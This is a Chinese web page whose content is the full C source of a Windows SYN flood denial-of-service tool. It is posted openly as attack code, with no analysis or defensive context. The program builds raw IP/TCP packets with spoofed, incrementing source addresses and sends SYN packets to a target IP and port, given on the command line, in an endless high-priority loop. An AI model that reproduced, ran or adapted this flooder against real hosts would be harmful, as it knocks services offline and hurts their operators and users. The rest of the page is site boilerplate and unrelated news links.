分享
 
 
 

synflood源码(拒绝服务攻击)

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

#include <winsock2.h>

#include <Ws2tcpip.h>

#include <windows.h>

#include <stdio.h>

#pragma comment(lib,"ws2_32")

#pragma comment(lib,"wsock32")

#define FAKE_IP "201.79.131.18"

#define SEQ 0x28376839

#define right "===============Coder Paris-ye====================\n"

USHORT checksum(USHORT *buffer, int size);

int flood();

typedef struct tcphdr

{

USHORT th_sport;

USHORT th_dport;

unsigned int th_seq;

unsigned int th_ack;

unsigned char th_lenres;

unsigned char th_flag;

USHORT th_win;

USHORT th_sum;

USHORT th_urp;

}TCP_HEADER;

typedef struct iphdr

{

unsigned char h_verlen;

unsigned char tos;

unsigned short total_len;

unsigned short ident;

unsigned short frag_and_flags;

unsigned char ttl;

unsigned char proto;

unsigned short checksum;

unsigned int sourceIP;

unsigned int destIP;

}IP_HEADER;

struct

{

unsigned long saddr;

unsigned long daddr;

char mbz;

char ptcl;

unsigned short tcpl;

}PSD_HEADER;

WSADATA wsaData;

SOCKET sockMain = (SOCKET) NULL;

int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;

unsigned short activPort=40000;

struct sockaddr_in sockAddr;

TCP_HEADER tcpheader;

IP_HEADER ipheader;

char sendBuf[128];

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size-=sizeof(USHORT);

}

if(size) cksum+=*(UCHAR*)buffer;

cksum=(cksum >> 16)+(cksum&0xffff);

cksum+=(cksum >>16);

return (USHORT)(~cksum);

}

int main(int argc,char* argv[])

{

int portNum=0;

DWORD dw;

HANDLE hThread=NULL;

char putInfo;

if(argc!=3)

{

printf("%s\n",right);

printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);

return 1;

}

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

printf("WSAStartup failed: %d\n",ErrorCode);

return 2;

}

sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

if(sockMain==INVALID_SOCKET)

{

printf("Socket failed: %d\n",WSAGetLastError());

return 3;

}

ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)

{

printf("Set sockopt failed: %d\n",WSAGetLastError());

return 4;

}

ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR)

{

printf("Set sockopt time out failed: %d\n",WSAGetLastError());

return 5;

}

portNum=atoi(argv[2]);

memset(&sockAddr,0,sizeof(sockAddr));

sockAddr.sin_family=AF_INET;

sockAddr.sin_addr.s_addr =inet_addr(argv[1]);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));

ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));

ipheader.ident = 1;

ipheader.frag_and_flags = 0;

ipheader.ttl = 128;

ipheader.proto = IPPROTO_TCP;

ipheader.checksum =0;

ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);

ipheader.destIP = inet_addr(argv[1]);

tcpheader.th_dport=htons(portNum);

tcpheader.th_sport = htons(portNum);

tcpheader.th_seq = htonl(SEQ+SendSEQ);

tcpheader.th_ack = 0;

tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);

tcpheader.th_flag = 2;

tcpheader.th_win = htons(16384);

tcpheader.th_urp = 0;

tcpheader.th_sum = 0;

PSD_HEADER.saddr=ipheader.sourceIP;

PSD_HEADER.daddr=ipheader.destIP;

PSD_HEADER.mbz=0;

PSD_HEADER.ptcl=IPPROTO_TCP;

PSD_HEADER.tcpl=htons(sizeof(tcpheader));

printf("%s\n",right);

hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);

SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);

ResumeThread(hThread);

printf("Warning[start]...........\nPress any key to stop!\n");

putInfo=getchar();

TerminateThread(hThread,0);

WSACleanup();

printf("\nStopd...........\n");

return 0;

}

int flood()

{

while(1)

{

if(SendSEQ++==65536) SendSEQ=1;

if(activPort++==40010) activPort=1000;

ipheader.checksum =0;

ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);

tcpheader.th_seq = htonl(SEQ+SendSEQ);

tcpheader.th_sport = htons(activPort);

tcpheader.th_sum = 0;

PSD_HEADER.saddr=ipheader.sourceIP;

memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));

memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));

tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));

memcpy(sendBuf,&ipheader,sizeof(ipheader));

memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));

memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);

dataSize=sizeof(ipheader)+sizeof(tcpheader);

ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);

memcpy(sendBuf,&ipheader,sizeof(ipheader));

ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));

if(ErrorCode==SOCKET_ERROR)

{

printf("\nCan't connect this IP!Pls check it.\n");

ExitThread(1);

}

// Sleep(1000);

}

return 0;

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有